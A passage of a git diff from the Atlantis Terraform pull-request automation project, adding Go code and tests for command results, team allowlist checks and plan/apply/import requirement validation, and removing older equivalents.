the following symbols: + - destroy + + Terraform will perform the following actions: + + - null_resource.hi[1] + + + Plan: 0 to add, 0 to change, 1 to destroy.`, + }, + }, + expResult: "\n**Note: Objects have changed outside of Terraform**\nPlan: 0 to add, 0 to change, 1 to destroy.", + }, + { + p: command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: `No match, expect empty`, + }, + }, + expResult: "", + }, + } + + for _, c := range cases { + t.Run(c.expResult, func(t *testing.T) { + Equals(t, c.expResult, c.p.PlanSuccess.Summary()) + }) + } +} + +var Summary string + +func BenchmarkPlanSuccess_Summary(b *testing.B) { + var s string + + fixtures := map[string]string{ + "changes": ` + An execution plan has been generated and is shown below. + Resource actions are indicated with the following symbols: + - destroy + + Terraform will perform the following actions: + + - null_resource.hi[1] + + + Plan: 0 to add, 0 to change, 1 to destroy.`, + "no changes": ` + An execution plan has been generated and is shown below. + Resource actions are indicated with the following symbols: + + No changes. Infrastructure is up-to-date.`, + "changes outside Terraform": ` + Note: Objects have changed outside of Terraform + + Terraform detected the following changes made outside of Terraform since the + last "terraform apply": + + No changes. Your infrastructure matches the configuration.`, + "changes and changes outside": ` + Note: Objects have changed outside of Terraform + + Terraform detected the following changes made outside of Terraform since the + last "terraform apply": + + An execution plan has been generated and is shown below. + Resource actions are indicated with the following symbols: + - destroy + + Terraform will perform the following actions: + + - null_resource.hi[1] + + + Plan: 0 to add, 0 to change, 1 to destroy.`, + "empty summary, no matches": `No match, expect empty`, + } + + for name, output := range fixtures { + p := &models.PlanSuccess{ + TerraformOutput: output, + } + + b.Run(name, func(b *testing.B) { + b.ReportAllocs() + for i := 0; i < b.N; i++ { + s = p.Summary() + } + + Summary = s + }) + } +} diff --git a/server/events/command/result.go b/server/events/command/result.go new file mode 100644 index 0000000000..af264caa62 --- /dev/null +++ b/server/events/command/result.go @@ -0,0 +1,26 @@ +package command + +// Result is the result of running a Command. +type Result struct { + Error error + Failure string + ProjectResults []ProjectResult + // PlansDeleted is true if all plans created during this command were + // deleted. This happens if automerging is enabled and one project has an + // error since automerging requires all plans to succeed. + PlansDeleted bool +} + +// HasErrors returns true if there were any errors during the execution, +// even if it was only in one project. +func (c Result) HasErrors() bool { + if c.Error != nil || c.Failure != "" { + return true + } + for _, r := range c.ProjectResults { + if !r.IsSuccessful() { + return true + } + } + return false +} diff --git a/server/events/command/result_test.go b/server/events/command/result_test.go new file mode 100644 index 0000000000..0e176f2603 --- /dev/null +++ b/server/events/command/result_test.go @@ -0,0 +1,108 @@ +package command_test + +import ( + "errors" + "testing" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + . "github.com/runatlantis/atlantis/testing" +) + +func TestCommandResult_HasErrors(t *testing.T) { + cases := map[string]struct { + cr command.Result + exp bool + }{ + "error": { + cr: command.Result{ + Error: errors.New("err"), + }, + exp: true, + }, + "failure": { + cr: command.Result{ + Failure: "failure", + }, + exp: true, + }, + "empty results list": { + cr: command.Result{ + ProjectResults: []command.ProjectResult{}, + }, + exp: false, + }, + "successful plan": { + cr: command.Result{ + ProjectResults: []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{}, + }, + }, + }, + exp: false, + }, + "successful apply": { + cr: command.Result{ + ProjectResults: []command.ProjectResult{ + { + ApplySuccess: "success", + }, + }, + }, + exp: false, + }, + "single errored project": { + cr: command.Result{ + ProjectResults: []command.ProjectResult{ + { + Error: errors.New("err"), + }, + }, + }, + exp: true, + }, + "single failed project": { + cr: command.Result{ + ProjectResults: []command.ProjectResult{ + { + Failure: "failure", + }, + }, + }, + exp: true, + }, + "two successful projects": { + cr: command.Result{ + ProjectResults: []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{}, + }, + { + ApplySuccess: "success", + }, + }, + }, + exp: false, + }, + "one successful, one failed project": { + cr: command.Result{ + ProjectResults: []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{}, + }, + { + Failure: "failed", + }, + }, + }, + exp: true, + }, + } + + for descrip, c := range cases { + t.Run(descrip, func(t *testing.T) { + Equals(t, c.exp, c.cr.HasErrors()) + }) + } +} diff --git a/server/events/command/scope_tags.go b/server/events/command/scope_tags.go new file mode 100644 index 0000000000..8416927eab --- /dev/null +++ b/server/events/command/scope_tags.go @@ -0,0 +1,39 @@ +package command + +import ( + "reflect" + "regexp" + "strings" +) + +type ProjectScopeTags struct { + BaseRepo string + PrNumber string + Project string + ProjectPath string + TerraformDistribution string + TerraformVersion string + Workspace string +} + +func (s ProjectScopeTags) Loadtags() map[string]string { + tags := make(map[string]string) + + v := reflect.ValueOf(s) + t := v.Type() + + for i := 0; i < v.NumField(); i++ { + tags[toSnakeCase(t.Field(i).Name)] = v.Field(i).String() + } + + return tags +} + +func toSnakeCase(str string) string { + var matchFirstCap = regexp.MustCompile("(.)([A-Z][a-z]+)") + var matchAllCap = regexp.MustCompile("([a-z0-9])([A-Z])") + + snake := matchFirstCap.ReplaceAllString(str, "${1}_${2}") + snake = matchAllCap.ReplaceAllString(snake, "${1}_${2}") + return strings.ToLower(snake) +} diff --git a/server/events/command/team_allowlist_checker.go b/server/events/command/team_allowlist_checker.go new file mode 100644 index 0000000000..f71684a6d7 --- /dev/null +++ b/server/events/command/team_allowlist_checker.go @@ -0,0 +1,100 @@ +package command + +import ( + "strings" + + "github.com/runatlantis/atlantis/server/events/models" +) + +// Wildcard matches all teams and all commands +const wildcard = "*" + +// mapOfStrings is an alias for map[string]string +type mapOfStrings map[string]string + +type TeamAllowlistChecker interface { + // HasRules returns true if the checker has rules defined + HasRules() bool + + // IsCommandAllowedForTeam determines if the specified team can perform the specified action + IsCommandAllowedForTeam(ctx models.TeamAllowlistCheckerContext, team, command string) bool + + // IsCommandAllowedForAnyTeam determines if any of the specified teams can perform the specified action + IsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool + + // AllTeams returns all teams configured in the allowlist + AllTeams() []string +} + +// DefaultTeamAllowlistChecker implements checking the teams and the operations that the members +// of a particular team are allowed to perform +type DefaultTeamAllowlistChecker struct { + rules []mapOfStrings +} + +// NewTeamAllowlistChecker constructs a new checker +func NewTeamAllowlistChecker(allowlist string) (*DefaultTeamAllowlistChecker, error) { + var rules []mapOfStrings + pairs := strings.Split(allowlist, ",") + if pairs[0] != "" { + for _, pair := range pairs { + values := strings.Split(pair, ":") + team := strings.TrimSpace(values[0]) + command := strings.TrimSpace(values[1]) + m := mapOfStrings{team: command} + rules = append(rules, m) + } + } + return &DefaultTeamAllowlistChecker{ + rules: rules, + }, nil +} + +func (checker *DefaultTeamAllowlistChecker) HasRules() bool { + return len(checker.rules) > 0 +} + +// IsCommandAllowedForTeam returns true if the team is allowed to execute the command +// and false otherwise. +func (checker *DefaultTeamAllowlistChecker) IsCommandAllowedForTeam(_ models.TeamAllowlistCheckerContext, team string, command string) bool { + for _, rule := range checker.rules { + for key, value := range rule { + if (key == wildcard || strings.EqualFold(key, team)) && (value == wildcard || strings.EqualFold(value, command)) { + return true + } + } + } + return false +} + +// IsCommandAllowedForAnyTeam returns true if any of the teams is allowed to execute the command +// and false otherwise. +func (checker *DefaultTeamAllowlistChecker) IsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool { + if len(teams) == 0 { + for _, rule := range checker.rules { + for key, value := range rule { + if (key == wildcard) && (value == wildcard || strings.EqualFold(value, command)) { + return true + } + } + } + } else { + for _, t := range teams { + if checker.IsCommandAllowedForTeam(ctx, t, command) { + return true + } + } + } + return false +} + +// AllTeams returns all teams configured in the allowlist +func (checker *DefaultTeamAllowlistChecker) AllTeams() []string { + var teamNames []string + for _, rule := range checker.rules { + for key := range rule { + teamNames = append(teamNames, key) + } + } + return teamNames +} diff --git a/server/events/command/team_allowlist_checker_test.go b/server/events/command/team_allowlist_checker_test.go new file mode 100644 index 0000000000..ddbe402003 --- /dev/null +++ b/server/events/command/team_allowlist_checker_test.go @@ -0,0 +1,45 @@ +package command_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + + . "github.com/runatlantis/atlantis/testing" +) + +func TestNewTeamAllowListChecker(t *testing.T) { + allowlist := `bob:plan, dave:apply` + _, err := command.NewTeamAllowlistChecker(allowlist) + Ok(t, err) +} + +func TestNewTeamAllowListCheckerEmpty(t *testing.T) { + allowlist := `` + checker, err := command.NewTeamAllowlistChecker(allowlist) + Ok(t, err) + Equals(t, false, checker.HasRules()) +} + +func TestIsCommandAllowedForTeam(t *testing.T) { + allowlist := `bob:plan, dave:apply, connie:plan, connie:apply` + checker, err := command.NewTeamAllowlistChecker(allowlist) + Ok(t, err) + Equals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "connie", "plan")) + Equals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "connie", "apply")) + Equals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "dave", "apply")) + Equals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "bob", "plan")) + Equals(t, false, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, "bob", "apply")) +} + +func TestIsCommandAllowedForAnyTeam(t *testing.T) { + allowlist := `alpha:plan,beta:release,*:unlock,nobody:*` + teams := []string{`alpha`, `beta`} + checker, err := command.NewTeamAllowlistChecker(allowlist) + Ok(t, err) + Equals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `plan`)) + Equals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `release`)) + Equals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `unlock`)) + Equals(t, false, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `noop`)) +} diff --git a/server/events/command_context.go b/server/events/command_context.go deleted file mode 100644 index 72e9bd2dff..0000000000 --- a/server/events/command_context.go +++ /dev/null @@ -1,38 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package events - -import ( - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/logging" -) - -// CommandContext represents the context of a command that should be executed -// for a pull request. -type CommandContext struct { - // HeadRepo is the repository that is getting merged into the BaseRepo. - // If the pull request branch is from the same repository then HeadRepo will - // be the same as BaseRepo. - // See https://help.github.com/articles/about-pull-request-merges/. - HeadRepo models.Repo - Pull models.PullRequest - // User is the user that triggered this command. - User models.User - Log *logging.SimpleLogger - // PullMergeable is true if Pull is able to be merged. This is available in - // the CommandContext because we want to collect this information before we - // set our own build statuses which can affect mergeability if users have - // required the Atlantis status to be successful prior to merging. - PullMergeable bool -} diff --git a/server/events/command_requirement_handler.go b/server/events/command_requirement_handler.go new file mode 100644 index 0000000000..bf95a255ce --- /dev/null +++ b/server/events/command_requirement_handler.go @@ -0,0 +1,105 @@ +package events + +import ( + "fmt" + + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_command_requirement_handler.go CommandRequirementHandler +type CommandRequirementHandler interface { + ValidateProjectDependencies(ctx command.ProjectContext) (string, error) + ValidatePlanProject(repoDir string, ctx command.ProjectContext) (string, error) + ValidateApplyProject(repoDir string, ctx command.ProjectContext) (string, error) + ValidateImportProject(repoDir string, ctx command.ProjectContext) (string, error) +} + +type DefaultCommandRequirementHandler struct { + WorkingDir WorkingDir +} + +func (a *DefaultCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) (failure string, err error) { + for _, req := range ctx.PlanRequirements { + switch req { + case raw.ApprovedRequirement: + if !ctx.PullReqStatus.ApprovalStatus.IsApproved { + return "Pull request must be approved according to the project's approval rules before running plan.", nil + } + case raw.MergeableRequirement: + if !ctx.PullReqStatus.Mergeable { + return "Pull request must be mergeable before running plan.", nil + } + case raw.UnDivergedRequirement: + if a.WorkingDir.HasDiverged(ctx.Log, repoDir) { + return "Default branch must be rebased onto pull request before running plan.", nil + } + } + } + // Passed all plan requirements configured. + return "", nil +} + +func (a *DefaultCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) (failure string, err error) { + for _, req := range ctx.ApplyRequirements { + switch req { + case raw.ApprovedRequirement: + if !ctx.PullReqStatus.ApprovalStatus.IsApproved { + return "Pull request must be approved according to the project's approval rules before running apply.", nil + } + // this should come before mergeability check since mergeability is a superset of this check. + case valid.PoliciesPassedCommandReq: + // We should rely on this function instead of plan status, since plan status after a failed apply will not carry the policy error over. + if !ctx.PolicyCleared() { + return "All policies must pass for project before running apply.", nil + } + case raw.MergeableRequirement: + if !ctx.PullReqStatus.Mergeable { + return "Pull request must be mergeable before running apply.", nil + } + case raw.UnDivergedRequirement: + if a.WorkingDir.HasDiverged(ctx.Log, repoDir) { + return "Default branch must be rebased onto pull request before running apply.", nil + } + } + } + // Passed all apply requirements configured. + return "", nil +} + +func (a *DefaultCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) (failure string, err error) { + for _, dependOnProject := range ctx.DependsOn { + + for _, project := range ctx.PullStatus.Projects { + + if project.ProjectName == dependOnProject && project.Status != models.AppliedPlanStatus && project.Status != models.PlannedNoChangesPlanStatus { + return fmt.Sprintf("Can't apply your project unless you apply its dependencies: [%s]", project.ProjectName), nil + } + } + } + + return "", nil +} + +func (a *DefaultCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) (failure string, err error) { + for _, req := range ctx.ImportRequirements { + switch req { + case raw.ApprovedRequirement: + if !ctx.PullReqStatus.ApprovalStatus.IsApproved { + return "Pull request must be approved according to the project's approval rules before running import.", nil + } + case raw.MergeableRequirement: + if !ctx.PullReqStatus.Mergeable { + return "Pull request must be mergeable before running import.", nil + } + case raw.UnDivergedRequirement: + if a.WorkingDir.HasDiverged(ctx.Log, repoDir) { + return "Default branch must be rebased onto pull request before running import.", nil + } + } + } + // Passed all import requirements configured. + return "", nil +} diff --git a/server/events/command_requirement_handler_test.go b/server/events/command_requirement_handler_test.go new file mode 100644 index 0000000000..149e3a608b --- /dev/null +++ b/server/events/command_requirement_handler_test.go @@ -0,0 +1,418 @@ +package events_test + +import ( + "fmt" + "testing" + + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/mocks" + "github.com/stretchr/testify/assert" +) + +func TestAggregateApplyRequirements_ValidatePlanProject(t *testing.T) { + repoDir := "repoDir" + fullRequirements := []string{ + raw.ApprovedRequirement, + valid.PoliciesPassedCommandReq, + raw.MergeableRequirement, + raw.UnDivergedRequirement, + } + tests := []struct { + name string + ctx command.ProjectContext + setup func(workingDir *mocks.MockWorkingDir) + wantFailure string + wantErr assert.ErrorAssertionFunc + }{ + { + name: "pass no requirements", + ctx: command.ProjectContext{}, + wantErr: assert.NoError, + }, + { + name: "pass full requirements", + ctx: command.ProjectContext{ + PlanRequirements: fullRequirements, + PullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: true}, + Mergeable: true, + }, + ProjectPlanStatus: models.PassedPolicyCheckStatus, + }, + setup: func(workingDir *mocks.MockWorkingDir) { + When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false) + }, + wantErr: assert.NoError, + }, + { + name: "fail by no approved", + ctx: command.ProjectContext{ + PlanRequirements: []string{raw.ApprovedRequirement}, + PullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: false}, + }, + }, + wantFailure: "Pull request must be approved according to the project's approval rules before running plan.", + wantErr: assert.NoError, + }, + { + name: "fail by no mergeable", + ctx: command.ProjectContext{ + PlanRequirements: []string{raw.MergeableRequirement}, + PullReqStatus: models.PullReqStatus{Mergeable: false}, + }, + wantFailure: "Pull request must be mergeable before running plan.", + wantErr: assert.NoError, + }, + { + name: "fail by diverged", + ctx: command.ProjectContext{ + PlanRequirements: []string{raw.UnDivergedRequirement}, + }, + setup: func(workingDir *mocks.MockWorkingDir) { + When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true) + }, + wantFailure: "Default branch must be rebased onto pull request before running plan.", + wantErr: assert.NoError, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + RegisterMockTestingT(t) + workingDir := mocks.NewMockWorkingDir() + a := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir} + if tt.setup != nil { + tt.setup(workingDir) + } + gotFailure, err := a.ValidatePlanProject(repoDir, tt.ctx) + if !tt.wantErr(t, err, fmt.Sprintf("ValidatePlanProject(%v, %v)", repoDir, tt.ctx)) { + return + } + assert.Equalf(t, tt.wantFailure, gotFailure, "ValidatePlanProject(%v, %v)", repoDir, tt.ctx) + }) + } +} + +func TestAggregateApplyRequirements_ValidateApplyProject(t *testing.T) { + repoDir := "repoDir" + fullRequirements := []string{ + raw.ApprovedRequirement, + valid.PoliciesPassedCommandReq, + raw.MergeableRequirement, + raw.UnDivergedRequirement, + } + tests := []struct { + name string + ctx command.ProjectContext + setup func(workingDir *mocks.MockWorkingDir) + wantFailure string + wantErr assert.ErrorAssertionFunc + }{ + { + name: "pass no requirements", + ctx: command.ProjectContext{}, + wantErr: assert.NoError, + }, + { + name: "pass full requirements", + ctx: command.ProjectContext{ + ApplyRequirements: fullRequirements, + PullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: true}, + Mergeable: true, + }, + ProjectPlanStatus: models.PassedPolicyCheckStatus, + }, + setup: func(workingDir *mocks.MockWorkingDir) { + When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false) + }, + wantErr: assert.NoError, + }, + { + name: "fail by no approved", + ctx: command.ProjectContext{ + ApplyRequirements: []string{raw.ApprovedRequirement}, + PullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: false}, + }, + }, + wantFailure: "Pull request must be approved according to the project's approval rules before running apply.", + wantErr: assert.NoError, + }, + { + name: "fail by no policy passed", + ctx: command.ProjectContext{ + ApplyRequirements: []string{valid.PoliciesPassedCommandReq}, + ProjectPlanStatus: models.ErroredPolicyCheckStatus, + ProjectPolicyStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Passed: false, + Approvals: 0, + }, + }, + PolicySets: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 1, + }, + }, + }, + }, + wantFailure: "All policies must pass for project before running apply.", + wantErr: assert.NoError, + }, + { + name: "fail by no mergeable", + ctx: command.ProjectContext{ + ApplyRequirements: []string{raw.MergeableRequirement}, + PullReqStatus: models.PullReqStatus{Mergeable: false}, + }, + wantFailure: "Pull request must be mergeable before running apply.", + wantErr: assert.NoError, + }, + { + name: "fail by diverged", + ctx: command.ProjectContext{ + ApplyRequirements: []string{raw.UnDivergedRequirement}, + }, + setup: func(workingDir *mocks.MockWorkingDir) { + When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true) + }, + wantFailure: "Default branch must be rebased onto pull request before running apply.", + wantErr: assert.NoError, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + RegisterMockTestingT(t) + workingDir := mocks.NewMockWorkingDir() + a := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir} + if tt.setup != nil { + tt.setup(workingDir) + } + gotFailure, err := a.ValidateApplyProject(repoDir, tt.ctx) + if !tt.wantErr(t, err, fmt.Sprintf("ValidateApplyProject(%v, %v)", repoDir, tt.ctx)) { + return + } + assert.Equalf(t, tt.wantFailure, gotFailure, "ValidateApplyProject(%v, %v)", repoDir, tt.ctx) + }) + } +} + +func TestRequirements_ValidateProjectDependencies(t *testing.T) { + tests := []struct { + name string + ctx command.ProjectContext + setup func(workingDir *mocks.MockWorkingDir) + wantFailure string + wantErr assert.ErrorAssertionFunc + }{ + { + name: "pass no dependencies", + ctx: command.ProjectContext{}, + wantErr: assert.NoError, + }, + { + name: "pass all dependencies applied", + ctx: command.ProjectContext{ + DependsOn: []string{"project1"}, + PullStatus: &models.PullStatus{ + Projects: []models.ProjectStatus{ + { + ProjectName: "project1", + Status: models.AppliedPlanStatus, + }, + }, + }, + }, + wantErr: assert.NoError, + }, + { + name: "Fail all dependencies are not applied", + ctx: command.ProjectContext{ + DependsOn: []string{"project1", "project2"}, + PullStatus: &models.PullStatus{ + Projects: []models.ProjectStatus{ + { + ProjectName: "project1", + Status: models.PlannedPlanStatus, + }, + { + ProjectName: "project2", + Status: models.ErroredApplyStatus, + }, + }, + }, + }, + wantFailure: "Can't apply your project unless you apply its dependencies: [project1]", + wantErr: assert.NoError, + }, + { + name: "Fail one of dependencies is not applied", + ctx: command.ProjectContext{ + DependsOn: []string{"project1", "project2"}, + PullStatus: &models.PullStatus{ + Projects: []models.ProjectStatus{ + { + ProjectName: "project1", + Status: models.AppliedPlanStatus, + }, + { + ProjectName: "project2", + Status: models.ErroredApplyStatus, + }, + }, + }, + }, + wantFailure: "Can't apply your project unless you apply its dependencies: [project2]", + wantErr: assert.NoError, + }, + { + name: "Should not fail if one of dependencies is not applied but it has no changes to apply", + ctx: command.ProjectContext{ + DependsOn: []string{"project1", "project2"}, + PullStatus: &models.PullStatus{ + Projects: []models.ProjectStatus{ + { + ProjectName: "project1", + Status: models.AppliedPlanStatus, + }, + { + ProjectName: "project2", + Status: models.PlannedNoChangesPlanStatus, + }, + }, + }, + }, + wantErr: assert.NoError, + }, + { + name: "In the case of more than one dependency, should not continue to check dependencies if one of them is not in applied status", + ctx: command.ProjectContext{ + DependsOn: []string{"project1", "project2"}, + PullStatus: &models.PullStatus{ + Projects: []models.ProjectStatus{ + { + ProjectName: "project1", + Status: models.AppliedPlanStatus, + }, + { + ProjectName: "project2", + Status: models.ErroredApplyStatus, + }, + { + ProjectName: "project3", + Status: models.PlannedPlanStatus, + }, + }, + }, + }, + wantFailure: "Can't apply your project unless you apply its dependencies: [project2]", + wantErr: assert.NoError, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + RegisterMockTestingT(t) + workingDir := mocks.NewMockWorkingDir() + a := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir} + gotFailure, err := a.ValidateProjectDependencies(tt.ctx) + if !tt.wantErr(t, err, fmt.Sprintf("ValidateProjectDependencies(%v)", tt.ctx)) { + return + } + assert.Equalf(t, tt.wantFailure, gotFailure, "ValidateProjectDependencies(%v)", tt.ctx) + }) + } +} + +func TestAggregateApplyRequirements_ValidateImportProject(t *testing.T) { + repoDir := "repoDir" + fullRequirements := []string{ + raw.ApprovedRequirement, + raw.MergeableRequirement, + raw.UnDivergedRequirement, + } + tests := []struct { + name string + ctx command.ProjectContext + setup func(workingDir *mocks.MockWorkingDir) + wantFailure string + wantErr assert.ErrorAssertionFunc + }{ + { + name: "pass no requirements", + ctx: command.ProjectContext{}, + wantErr: assert.NoError, + }, + { + name: "pass full requirements", + ctx: command.ProjectContext{ + ImportRequirements: fullRequirements, + PullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: true}, + Mergeable: true, + }, + ProjectPlanStatus: models.PassedPolicyCheckStatus, + }, + setup: func(workingDir *mocks.MockWorkingDir) { + When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false) + }, + wantErr: assert.NoError, + }, + { + name: "fail by no approved", + ctx: command.ProjectContext{ + ImportRequirements: []string{raw.ApprovedRequirement}, + PullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: false}, + }, + }, + wantFailure: "Pull request must be approved according to the project's approval rules before running import.", + wantErr: assert.NoError, + }, + { + name: "fail by no mergeable", + ctx: command.ProjectContext{ + ImportRequirements: []string{raw.MergeableRequirement}, + PullReqStatus: models.PullReqStatus{Mergeable: false}, + }, + wantFailure: "Pull request must be mergeable before running import.", + wantErr: assert.NoError, + }, + { + name: "fail by diverged", + ctx: command.ProjectContext{ + ImportRequirements: []string{raw.UnDivergedRequirement}, + }, + setup: func(workingDir *mocks.MockWorkingDir) { + When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true) + }, + wantFailure: "Default branch must be rebased onto pull request before running import.", + wantErr: assert.NoError, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + RegisterMockTestingT(t) + workingDir := mocks.NewMockWorkingDir() + a := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir} + if tt.setup != nil { + tt.setup(workingDir) + } + gotFailure, err := a.ValidateImportProject(repoDir, tt.ctx) + if !tt.wantErr(t, err, fmt.Sprintf("ValidateImportProject(%v, %v)", repoDir, tt.ctx)) { + return + } + assert.Equalf(t, tt.wantFailure, gotFailure, "ValidateImportProject(%v, %v)", repoDir, tt.ctx) + }) + } +} diff --git a/server/events/command_result.go b/server/events/command_result.go deleted file mode 100644 index 655bf8a081..0000000000 --- a/server/events/command_result.go +++ /dev/null @@ -1,41 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package events - -import "github.com/runatlantis/atlantis/server/events/models" - -// CommandResult is the result of running a Command. -type CommandResult struct { - Error error - Failure string - ProjectResults []models.ProjectResult - // PlansDeleted is true if all plans created during this command were - // deleted. This happens if automerging is enabled and one project has an - // error since automerging requires all plans to succeed. - PlansDeleted bool -} - -// HasErrors returns true if there were any errors during the execution, -// even if it was only in one project. -func (c CommandResult) HasErrors() bool { - if c.Error != nil || c.Failure != "" { - return true - } - for _, r := range c.ProjectResults { - if !r.IsSuccessful() { - return true - } - } - return false -} diff --git a/server/events/command_result_test.go b/server/events/command_result_test.go deleted file mode 100644 index bcdeae365f..0000000000 --- a/server/events/command_result_test.go +++ /dev/null @@ -1,108 +0,0 @@ -package events_test - -import ( - "errors" - "testing" - - "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/models" - . "github.com/runatlantis/atlantis/testing" -) - -func TestCommandResult_HasErrors(t *testing.T) { - cases := map[string]struct { - cr events.CommandResult - exp bool - }{ - "error": { - cr: events.CommandResult{ - Error: errors.New("err"), - }, - exp: true, - }, - "failure": { - cr: events.CommandResult{ - Failure: "failure", - }, - exp: true, - }, - "empty results list": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{}, - }, - exp: false, - }, - "successful plan": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ - { - PlanSuccess: &models.PlanSuccess{}, - }, - }, - }, - exp: false, - }, - "successful apply": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ - { - ApplySuccess: "success", - }, - }, - }, - exp: false, - }, - "single errored project": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ - { - Error: errors.New("err"), - }, - }, - }, - exp: true, - }, - "single failed project": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ - { - Failure: "failure", - }, - }, - }, - exp: true, - }, - "two successful projects": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ - { - PlanSuccess: &models.PlanSuccess{}, - }, - { - ApplySuccess: "success", - }, - }, - }, - exp: false, - }, - "one successful, one failed project": { - cr: events.CommandResult{ - ProjectResults: []models.ProjectResult{ - { - PlanSuccess: &models.PlanSuccess{}, - }, - { - Failure: "failed", - }, - }, - }, - exp: true, - }, - } - - for descrip, c := range cases { - t.Run(descrip, func(t *testing.T) { - Equals(t, c.exp, c.cr.HasErrors()) - }) - } -} diff --git a/server/events/command_runner.go b/server/events/command_runner.go index 05f6949624..1b70767d6f 100644 --- a/server/events/command_runner.go +++ b/server/events/command_runner.go @@ -15,25 +15,29 @@ package events import ( "fmt" - "sync" + "strconv" - "github.com/google/go-github/v31/github" - "github.com/mcdafydd/go-azuredevops/azuredevops" + "github.com/drmaxgit/go-azuredevops/azuredevops" + "github.com/google/go-github/v71/github" "github.com/pkg/errors" - "github.com/remeh/sizedwaitgroup" - "github.com/runatlantis/atlantis/server/events/db" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/events/vcs/gitea" "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" "github.com/runatlantis/atlantis/server/recovery" - gitlab "github.com/xanzy/go-gitlab" + 